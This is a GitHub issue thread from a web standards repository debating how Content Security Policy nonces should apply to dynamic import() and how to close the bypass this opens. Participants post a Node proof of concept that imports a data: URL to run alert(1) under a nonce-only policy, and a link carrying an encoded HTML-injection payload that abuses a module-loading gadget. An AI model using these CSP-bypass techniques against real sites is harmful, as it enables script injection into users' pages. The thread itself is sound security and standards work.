-
Notifications
You must be signed in to change notification settings - Fork 78
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Any protection against dynamic module import? #243
Comments
I can't reproduce this bypass on either Firefox 58 (nightly) nor Chromium 61. The former reports
the latter says
Can you help us reproduce? |
This is Dynamic module import which is only implemented on Safari for now. |
Ah, I see this relies on this dynamic import proposal that has yet to land in most browsers. Looking at the script-src definition, I read
Maybe this needs to be extended to module scripts, dynamically loaded or not? |
script-src as normatively defined through Fetch et al already accounts for module scripts and would block them. So while you could clarify the non-normative bits, this is at best an implementation bug. |
I'm not worried about whitelist restriction. It would work in this case if specified. But dynamic import allows Script-gadgets-like attack. |
That's true for |
|
That's fair, it pokes a hole in the status quo for documents that is unexpected. cc @whatwg/modules @domenic |
We've been careful to plumb the CSP machinery through while designing the dynamic import integration. For example, it is subject to nonce or script-src controls. Here you have explicitly said that the import is allowed by using the nonce on the containing type=module, for example. In general we indeed treat this similarly to importScripts() or to inserting I'm not sure what more we should be doing, if anything. Maybe it'd be easier to evaluate with a concrete proposal. |
Well, if @mikewest has no concern, then I'm okay with it. |
The current behavior seems problematic to me; if Such behavior is what I would expect from a policy with From a developer's point of view I think it makes sense to treat If we agree, this means that a pure nonce-only CSP like in the example above cannot allow loading scripts via Additionally, it might be good to provide a mechanism allowing developers to allow @mikewest WDYT? |
Hmm... We do use nonce based policies for external scripts and not inline
scripts (recaptcha) so I would really like it if a nonce based import was
supported too
…On Nov 23, 2017 12:17 AM, "arturjanc" ***@***.***> wrote:
The current behavior seems problematic to me; if import() allows loading
a new external script then it would be surprising if a nonce-less load was
permitted by policy which requires all scripts to be blessed with a nonce.
Such behavior is what I would expect from a policy with 'strict-dynamic'
-- import() is a programmatic API so the load should succeed in that
case. However, for a nonce-only policy like in the example above the load
should fail.
From a developer's point of view I think it makes sense to treat
import(foo) like x=document.createElement('script'); x.src=foo. I.e. the
load should be subject to the script-src *host-source* whitelist if
present; otherwise, it should be allowed only if the policy includes
'strict-dynamic'.
If we agree, this means that a pure nonce-only CSP like in the example
above cannot allow loading scripts via import. This should be fine
because developers who use nonces without 'strict-dynamic' usually use
them for inline scripts and use a whitelist for external scripts, which
they could also do in this case. Developers who don't use a whitelist at
all usually specify 'strict-dynamic' so if the current permissive
behavior starts applying only in this case, they would also be fine (at the
cost of allowing injections into import() to bypassing their policy, but
that's part and parcel of 'strict-dynamic').
Additionally, it might be good to provide a mechanism allowing developers
to allow import() to work with a nonce-only policy. This will reduce the
likelihood that developers who want to have the safest nonce-based policies
(without 'strict-dynamic') would need to start adding URLs to their
script-src to work around this.
@mikewest <https://github.com/mikewest> WDYT?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
<#243 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AAIXGdQ-gOm9e-HNGMuhyA0S6cZWBBn3ks5s5Ll9gaJpZM4Pmgee>
.
|
Makes sense. Would you be okay with breaking the current behavior (i.e. nonce-only doesn't allow blessing |
Yes but maybe with an unsafe-imports keyword?
…On Nov 23, 2017 9:18 PM, "arturjanc" ***@***.***> wrote:
Makes sense. Would you be okay with breaking the current behavior (i.e.
nonce-only doesn't allow blessing import()) before we figure out how to
allow nonces to work for this case? My slight worry is that if we wait,
developers will start relying on this (as in, create nonce-only policies
and use module imports in their apps) and making the behavior more
restrictive later will break more people.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<#243 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AAIXGY7SpgeTbqKUTEScOikyTGg6PaAmks5s5ZPmgaJpZM4Pmgee>
.
|
This seems like a clear bypass to me. Here's an example that disentangles the issue of network messages from code loading.
In this example The To repeat $ node -e '
require("http")
.createServer(
(req, res) => {
res.writeHead(
200,
{
"Content-type": "text/html;charset=UTF-8",
"Content-Security-Policy": "default-src \x27nonce-foo\x27",
})
res.end(`<!DOCTYPE html>
<script nonce="foo" type="module">
let url = "data:text/javascript,alert(1)";
import(url);
</script>`)
})
.listen(8080)
' |
This deviates from the spec a lot, but maybe import(url, nonce) would be the answer? |
@koto, so I would prefer that not become common practice. I like nonces in HTML, but it seems that relying on URL filters and hash checks for dynamic imports would provide better protection. IIUC, top-level await addresses many of the use cases driving dynamic import and might probably land before any change to the import operator. |
The problem is that the whitelists (in CSP) are currently ignored if the loading script is nonced. Basically, Chrome implicitly performs a That way it would be clear to authors that they either use whitelists (which work), or nonces (which require |
In my projects I specifically want to prevent the creation of any script in the HTML outside of JS imports, so I'd like to prevent Because of all that, I think a CSP policy should be able to have a separate policy for JS module imports and uses of |
Are you imagining that, in the same way that If I adopt this model, I can imagine my one hashed source might be simple: import main from './main';
main(); I can do static analysis of How would you use import-src to deal with that, and how would that differ from what you can do with script-src, default-src today? |
This is exactly what I'm suggesting.
Right. However, keep in mind that there are two use cases for dynamic import: controlling when a statically-known module is imported (the argument to Really I'd like to control the case where the argument to
I would do something like
|
|
@briansmith Thanks for explaining. The difference between "constant" and "static" came up at |
Thanks. That's interesting. Your argument is of the form "closure compiler does X, so we can't do Y." But, that seems like the tail wagging the dog to me. I think that if we do Y then the closure compiler needs to reconsider whether it makes sense to continue doing X. In this case, I would say that if this feature were implemented the way I'm proposing, it would be a bad idea for the closure compiler to replace |
@briansmith I was talking about code bundlers in general; closure compiler is just the one I'm most familiar with. Constant folding and inlining optimizations are pretty central to JS minification though and the effect of breaking folding on later dead code elimination passes can be pronounced. Try https://skalman.github.io/UglifyJS-online/ with (() => {
var s = 'foo';
import(s)
})() and you get import("foo"); For |
@mikesamuel I just used closure because that's what you used in your example.
I agree. Also, I'm not sure that it would be terrible for security if the bundler did do the inlining, because the bundler probably isn't going to be using third-party (user-generated) content as the constant that gets inlined into the |
@briansmith Ok. I don't think we disagree materially then.
Agreed and I think I called that out in that thread, but semantics-breaking is bad for bundler usability. |
I think this is the minimal loader script: <script>
// Disable all future use of `<script>`.
const meta = document.createElement("meta");
meta.httpEquiv = "Content-Security-Policy";
meta.content = "script-src 'none'";
document.head.appendChild(meta);
// Load script.
import('./main').then((main) => main.main())
</script> Note that this uses the "constant dynamic import" idea described above because the |
Example here shows a potential risk of CSP bypass when a developer uses dynamic module import. Just for simplicity, I've created bit modified page with CSP and XSS.
https://vuln.shhnjk.com/dynamite.php
Below PoC triggers XSS.
https://vuln.shhnjk.com/dynamite.php?xss=%3Cnav%3E%3Ca%20href=%22%22%20data-entry-module=%22/attack.shhnjk.com/allow.php?%22%3E%3Ch1%3EClick%20ME%3C/h1%3E%3C/a%3E
Any thoughts on protection against such attack?
The text was updated successfully, but these errors were encountered: